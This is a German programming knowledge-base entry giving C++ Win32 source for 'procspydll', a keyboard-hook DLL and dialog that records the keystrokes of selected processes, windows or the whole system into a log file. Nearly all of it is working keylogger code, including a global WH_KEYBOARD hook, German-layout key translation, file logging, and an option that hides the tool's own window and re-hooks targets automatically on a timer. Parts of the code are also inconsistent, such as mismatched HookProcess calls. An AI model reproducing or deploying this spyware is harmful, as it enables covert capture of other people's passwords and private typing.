Knowledge Base Nr: 00113 procspydll.cpp - http://www.swe-kaiser.de

Win32: Tastatur Hook zum Mitloggen von Tastureingaben einzelner Prozesse/Threads
oder von allen Tastendrücken im System.

  
//ACHTUNG: Shared DLL Segmente scheinen bei Hooks nicht zu funktionieren!!!
//Aus Sicherheitsgründen stelle ich mein EXE lieber nicht ins web :-)
//Hinweis: CreateToolhelp32Snapshot() u.ä. Funktionen existieren erst seit Win2000!
//Dauert der Filezugriff zu lange gehen Events verloren!!!

///////////////////////////////////////////////////////////////////////////
///////////////installieren/deinstallieren des hooks (code in exe oder dll)
///////////////////////////////////////////////////////////////////////////

typedef bool (*INSTALLHOOK) (DWORD);

int CProcessSupport::HookProcess(const char* lpszProcName, const char* lpszDllName, const char* lpszFuncName, bool bHook)
{
if ((lpszProcName == NULL) || (lpszProcName[0] == 0))
{
HINSTANCE hInstance = ::LoadLibrary(lpszDllName);
if (!hInstance)
return PS_DLL_NOT_FOUND;

INSTALLHOOK lpFunction = (INSTALLHOOK)::GetProcAddress(hInstance, lpszFuncName);
if (!lpFunction)
return PS_FUNC_NOT_FOUND;

bool bSucc;
if (bHook) //hook
bSucc = (lpFunction)(-1);
else
bSucc = (lpFunction)(0); //unhook

return bSucc ? PS_OK : PS_EXECUTE_ERROR;
}

HANDLE ssp = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (ssp == INVALID_HANDLE_VALUE)
return PS_SS_ERROR;

PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);

int nRet = PS_NOT_FOUND;

BOOL bSucc = ::Process32First(ssp, &pe);
for (/**/; bSucc; bSucc = ::Process32Next(ssp, &pe))
{
//TRACE("pid:%04d\t%s\n", pe.th32ProcessID, pe.szExeFile);

if (stricmp(lpszProcName, pe.szExeFile) == 0)
{
HANDLE sst = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pe.th32ProcessID);
if (sst == INVALID_HANDLE_VALUE)
return PS_SS_ERROR;

THREADENTRY32 te;
te.dwSize = sizeof(te);

bSucc = ::Thread32First(sst, &te);
for (/**/; bSucc; bSucc = ::Thread32Next(sst, &te))
{
//TRACE("\tpid:%04d\tthid:%04d\n", te.th32OwnerProcessID, te.th32ThreadID);

if (te.th32OwnerProcessID == pe.th32ProcessID)
{
HINSTANCE hInstance = ::LoadLibrary(lpszDllName);
if (!hInstance)
{
::CloseHandle(sst);
::CloseHandle(ssp);
return PS_DLL_NOT_FOUND;
}

INSTALLHOOK lpFunction = (INSTALLHOOK)::GetProcAddress(hInstance, lpszFuncName);
if (!lpFunction)
{
::CloseHandle(sst);
::CloseHandle(ssp);
return PS_FUNC_NOT_FOUND;
}

bool bSucc;
if (bHook) //hook
bSucc = (lpFunction)(te.th32ThreadID);
else
bSucc = (lpFunction)(0); //unhook

nRet = bSucc ? PS_OK : PS_EXECUTE_ERROR;

break; //nur der erste thread!!! (nur 1 globaler pointer für hook!)
}
}

::CloseHandle(sst);
}
}

::CloseHandle(ssp);

return nRet;
}


///////////////////////////////////////////////////////////////////////////
///////////////dll code (Dieser Code MUSS in einer DLL implementiert werden!)
///////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include <stdio.h>
#include "procspydll.h"

//ACHTUNG: Shared DLL Segmente scheinen bei Hooks nicht zu funktionieren!!!
#pragma data_seg("Shared")
HHOOK g_hhook = NULL;
#pragma data_seg()

#pragma comment(linker, "/section:Shared,rws")

HINSTANCE g_hInstance = NULL;


BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hInstance = (HINSTANCE)hModule;
break;

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


LRESULT WINAPI GetMyMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
/*
lParam:
0-15 Specifies the repeat count. The value is the number of times the keystroke is repeated as a result of the user's holding down the key.
16-23 Specifies the scan code. The value depends on the original equipment manufacturer (OEM).
24 Specifies whether the key is an extended key, such as a function key or a key on the numeric keypad. The value is 1 if the key is an extended key; otherwise, it is 0.
25-28 Reserved.
29 Specifies the context code. The value is 1 if the ALT key is down; otherwise, it is 0.
30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
*/
if (1)
{
char szLog[1000];
sprintf(szLog, "*** Hook: GetMyMsgProc(%08x %08x %08x) -> %c\n", nCode, wParam, lParam, wParam);
::OutputDebugString(szLog);
//::DebugBreak();
}

if (nCode != HC_ACTION) //achtung: nur keyboard hook ?!
return CallNextHookEx(g_hhook, nCode, wParam, lParam);

if (!(lParam & 0x80000000)) //key pressed
return CallNextHookEx(g_hhook, nCode, wParam, lParam);
//else key released

SHORT nShiftPressed = ::GetAsyncKeyState(VK_SHIFT);
SHORT nCrtlPressed = ::GetAsyncKeyState(VK_CONTROL);
SHORT nAltPressed = ::GetAsyncKeyState(VK_MENU);

char szKey[100];
szKey[0] = 0;
char szTempKey[100];
szTempKey[0] = 0;

if (wParam >= 'A' && wParam <= 'Z')
{
UINT nChar = ::MapVirtualKey(wParam, 2);
switch(nChar)
{
case 'Q': nChar = nAltPressed&nCrtlPressed ? '@' : nChar; nAltPressed = nCrtlPressed = 0;
break;
}

if (!nShiftPressed)
nChar = tolower(nChar);

sprintf(szKey, "%c", (char)nChar);
}
else if (wParam >= '0' && wParam <= '9')
{
UINT nChar = ::MapVirtualKey(wParam, 2);
switch(nChar)
{
case '1': nChar = nShiftPressed ? '!' : nChar; nShiftPressed = 0; break;
case '2': nChar = nShiftPressed ? '\"' : nChar; nShiftPressed = 0; break;
case '3': nChar = nShiftPressed ? '§' : nChar; nShiftPressed = 0; break;
case '4': nChar = nShiftPressed ? '$' : nChar; nShiftPressed = 0; break;
case '5': nChar = nShiftPressed ? '%' : nChar; nShiftPressed = 0; break;
case '6': nChar = nShiftPressed ? '&' : nChar; nShiftPressed = 0; break;
case '7': nChar = nShiftPressed ? '/' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? '{' : nChar; nAltPressed = nCrtlPressed = 0;
break;
case '8': nChar = nShiftPressed ? '(' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? '[' : nChar; nAltPressed = nCrtlPressed = 0;
break;
case '9': nChar = nShiftPressed ? ')' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? ']' : nChar; nAltPressed = nCrtlPressed = 0;
break;
case '0': nChar = nShiftPressed ? '=' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? '}' : nChar; nAltPressed = nCrtlPressed = 0;
break;
}
sprintf(szKey, "%c", (char)nChar);
}
else
{
switch(wParam)
{
case VK_F1: strcpy(szKey, "<F1>"); break;
case VK_F2: strcpy(szKey, "<F2>"); break;
case VK_F3: strcpy(szKey, "<F3>"); break;
case VK_F4: strcpy(szKey, "<F4>"); break;
case VK_F5: strcpy(szKey, "<F5>"); break;
case VK_F6: strcpy(szKey, "<F6>"); break;
case VK_F7: strcpy(szKey, "<F7>"); break;
case VK_F8: strcpy(szKey, "<F8>"); break;
case VK_F9: strcpy(szKey, "<F9>"); break;
case VK_F10: strcpy(szKey, "<F10>"); break;
case VK_F11: strcpy(szKey, "<F11>"); break;
case VK_F12: strcpy(szKey, "<F12>"); break;

case VK_TAB: strcpy(szKey, "\t"); break;
case VK_SPACE: strcpy(szKey, " "); break;
case VK_ESCAPE: strcpy(szKey, "<ESC>"); break;
case VK_RETURN: strcpy(szKey, "\n"); break;
case VK_PRIOR: strcpy(szKey, "<PGUP>"); break;
case VK_DELETE: strcpy(szKey, "<DEL>"); break;
case VK_NEXT: strcpy(szKey, "<PGDN>"); break;
case VK_LEFT: strcpy(szKey, "<LEFT>"); break;
case VK_RIGHT: strcpy(szKey, "<RIGHT>"); break;
case VK_UP: strcpy(szKey, "<UP>"); break;
case VK_DOWN: strcpy(szKey, "<DOWN>"); break;

case VK_BACK: strcpy(szKey, "<BS>"); break;

case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT:
case VK_CONTROL: case VK_LCONTROL: case VK_RCONTROL:
case VK_MENU: case VK_LMENU: case VK_RMENU:
//shift, alt, ctrl machen nur sinn in kombination mit anderen tasten
return CallNextHookEx(g_hhook, nCode, wParam, lParam);

default:
if (1)
{
sprintf(szTempKey, "<VK_?(0x%X)>", wParam);
::OutputDebugString(szTempKey);
}

UINT nChar = ::MapVirtualKey(wParam, 2);
if (nChar == 0) //nicht gemappt
nChar = wParam;

switch(nChar)
{
case '.': nChar = nShiftPressed ? ':' : nChar; nShiftPressed = 0; break;
case ',': nChar = nShiftPressed ? ';' : nChar; nShiftPressed = 0; break;
case '-': nChar = nShiftPressed ? '_' : nChar; nShiftPressed = 0; break;
case '<': nChar = nShiftPressed ? '>' : nChar; nShiftPressed = 0;
nChar = nAltPressed|nCrtlPressed ? '|' : nChar; nAltPressed = nCrtlPressed = 0;
case '#': nChar = nShiftPressed ? '\'' : nChar; nShiftPressed = 0; break;
case 223 /*'ß'*/: nChar = nShiftPressed ? '?' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? '\\' : nChar; nAltPressed = nCrtlPressed = 0;
break;
case '+': nChar = nShiftPressed ? '*' : nChar; nShiftPressed = 0;
nChar = nAltPressed&nCrtlPressed ? '~' : nChar; nAltPressed = nCrtlPressed = 0;
break;
}
sprintf(szKey, "%c", (char)nChar);

if (1)
{
char szLog[1000];
sprintf(szLog, "***** Hook: convert GetMyMsgProc(%08x %08x %08x) -> %c\n", nCode, wParam, lParam, nChar);
::OutputDebugString(szLog);
//::DebugBreak();
}

}
}

if (nAltPressed)
{
sprintf(szTempKey, "<ALT>+%s", szKey);
strcpy(szKey, szTempKey);
}
if (nCrtlPressed)
{
sprintf(szTempKey, "<CTRL>+%s", szKey);
strcpy(szKey, szTempKey);
}
if (!isalpha (wParam) && nShiftPressed)
{
sprintf(szTempKey, "<SHIFT>+%s", szKey);
strcpy(szKey, szTempKey);
}

::OutputDebugString(szKey);

//shared segment funzt leider nicht bei hooks!!!
//if (g_lpszLogfileName[0])
{
FILE* fp = fopen(g_lpszLogfileName, "at");
if (fp)
{
fprintf(fp, "%s", szKey);
fclose(fp);
}
}

return CallNextHookEx(g_hhook, nCode, wParam, lParam);
}

PROCSPYDLL_API bool InstallHook(int nThId)
{
/*
nThId = 0 alle aus
nThId > 0 nur thread mit nThId
nThId < 0 global (alle threads)
*/
if ((g_hhook != NULL) && (nThId == 0))
{
::UnhookWindowsHookEx(g_hhook);
g_hhook = NULL;
return true;
}

if (nThId > 0)
g_hhook = ::SetWindowsHookEx(WH_KEYBOARD, GetMyMsgProc, g_hInstance, nThId);
else if (nThId < 0)
g_hhook = ::SetWindowsHookEx(WH_KEYBOARD, GetMyMsgProc, g_hInstance, NULL);

return g_hhook != NULL;
}

///////////////////////////////////////////////////////////////////////////
//////beispielnutzung
///////////////////////////////////////////////////////////////////////////
void CProcspyDlg::OnButton2() //unhook
{
CString strPName, strDllName, strFuncName;
GetDlgItem(IDC_PNAME)->GetWindowText(strPName);
GetDlgItem(IDC_DNAME)->GetWindowText(strDllName);
GetDlgItem(IDC_FNAME)->GetWindowText(strFuncName);

int nRet = g_proc.HookProcess(strPName, strDllName, strFuncName, NULL);

strFuncName.Format("Result: %d", nRet);
GetDlgItem(IDC_RESULT)->SetWindowText(strFuncName);
}

void CProcspyDlg::OnButton1() //über pname
{
CString strPName, strDllName, strFuncName, strlogName;
GetDlgItem(IDC_PNAME)->GetWindowText(strPName);
GetDlgItem(IDC_DNAME)->GetWindowText(strDllName);
GetDlgItem(IDC_FNAME)->GetWindowText(strFuncName);
GetDlgItem(IDC_LNAME)->GetWindowText(strlogName);

int nRet = g_proc.HookProcess(strPName, strDllName, strFuncName, strlogName);

strFuncName.Format("Result: %d", nRet);
GetDlgItem(IDC_RESULT)->SetWindowText(strFuncName);
}

void CProcspyDlg::OnButton3() //über pid
{
AfxMessageBox("todo");
}

void CProcspyDlg::OnButton4() //über fenstername
{
CString strWName, strDllName, strFuncName, strlogName;
GetDlgItem(IDC_WNAME)->GetWindowText(strWName);
GetDlgItem(IDC_DNAME)->GetWindowText(strDllName);
GetDlgItem(IDC_FNAME)->GetWindowText(strFuncName);
GetDlgItem(IDC_LNAME)->GetWindowText(strlogName);

HWND hWnd = ::FindWindow(NULL, strWName);
DWORD dwPId = 0;
DWORD dwThID = 0;

if (hWnd)
dwThID = ::GetWindowThreadProcessId(hWnd, &dwPId);

int nRet = -4711;

if (dwThID)
nRet = g_proc.HookProcess(dwThID, strDllName, strFuncName, strlogName);

strFuncName.Format("Result: %d", nRet);
GetDlgItem(IDC_RESULT)->SetWindowText(strFuncName);
}

void CProcspyDlg::OnButton6() //über windowclass
{
CString strCName, strDllName, strFuncName, strlogName;
GetDlgItem(IDC_CNAME)->GetWindowText(strCName);
GetDlgItem(IDC_DNAME)->GetWindowText(strDllName);
GetDlgItem(IDC_FNAME)->GetWindowText(strFuncName);
GetDlgItem(IDC_LNAME)->GetWindowText(strlogName);

HWND hWnd = ::FindWindow(strCName, NULL);
DWORD dwPId = 0;
DWORD dwThID = 0;

if (hWnd)
dwThID = ::GetWindowThreadProcessId(hWnd, &dwPId);

int nRet = -4711;

if (dwThID)
nRet = g_proc.HookProcess(dwThID, strDllName, strFuncName, strlogName);

strFuncName.Format("Result: %d", nRet);
GetDlgItem(IDC_RESULT)->SetWindowText(strFuncName);
}

void CProcspyDlg::OnTimer(UINT nIDEvent)
{
static s_bLooked = false;
if (s_bLooked)
return;

s_bLooked = true;

if (IsDlgButtonChecked(IDC_HIDE))
{
ShowWindow(SW_HIDE);
}

if (IsDlgButtonChecked(IDC_CHECKP))
{
OnButton1();
}

if (IsDlgButtonChecked(IDC_CHECKW))
{
static DWORD s_dwThID = 0;

CString strWName;
GetDlgItem(IDC_WNAME)->GetWindowText(strWName);

HWND hWnd = ::FindWindow(NULL, strWName);
DWORD dwPId = 0;
DWORD dwThID = 0;

if (hWnd)
dwThID = ::GetWindowThreadProcessId(hWnd, &dwPId);

if (s_dwThID != dwThID)
OnButton4();

s_dwThID = dwThID;
}

if (IsDlgButtonChecked(IDC_CHECKC))
{
static DWORD s_dwThID = 0;

CString strCName;
GetDlgItem(IDC_CNAME)->GetWindowText(strCName);

HWND hWnd = ::FindWindow(strCName, NULL);
DWORD dwPId = 0;
DWORD dwThID = 0;

if (hWnd)
dwThID = ::GetWindowThreadProcessId(hWnd, &dwPId);

if (s_dwThID != dwThID)
OnButton6();

s_dwThID = dwThID;
}

CDialog::OnTimer(nIDEvent);

s_bLooked = false;
}